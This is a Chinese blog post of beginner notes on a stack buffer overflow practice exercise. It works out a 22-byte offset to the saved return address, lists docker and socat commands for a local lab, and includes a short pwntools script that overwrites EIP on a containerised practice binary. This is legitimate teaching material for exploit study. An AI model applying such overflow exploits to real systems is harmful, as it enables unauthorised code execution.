77:栈溢出练习

没啥好写的,直接给个链接,这位师傅讲的很详细了,适合入门的人学习。
这位师傅太赞了。。。
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42241&page=1
在这里插入图片描述简单说一下怎么静态分析的。当然适合一定基础的人。
call的时候会push EIP,进入call之后首先push ebp,然后将此时的栈顶esp的值给了ebp,然后读取的是ebp+buf而,buf是ebp-12,所以可以分析出来存放eip的地方到存放输入字符的地方有12h+4=16h=22的长度,所以要覆盖eip只需要输入超过22个长度即可。

记录一下docker的一些命令吧。。。

//导入镜像:docker import - ubuntu/17.04.amd64
//运行镜像:docker run -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash
  会创建一个docker容器,第一个端口是宿主机的端口,第二个是容器的端口
//列出容器:docker container ls -a
//容器重命名:docker container rename old_name new_name
//打开容器的shell:docker exec -it container_name /bin/bash
//启动容器:docker start container_name
//复制:docker container cp file_name container_name:/root
//linux命令,将指定程序在指定端口运行:
socat tcp-listen:10001,reuseaddr,fork EXEC:./file_name,pty,raw,echo=0

记录pwntools的代码

from pwn import *

io = remote('172.17.0.2', 10001)
payload = '1' * 22 + p32(0x0804846B)
io.send(payload)    #发送payload到程序
io.interactive()	      #和程序进行交互
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值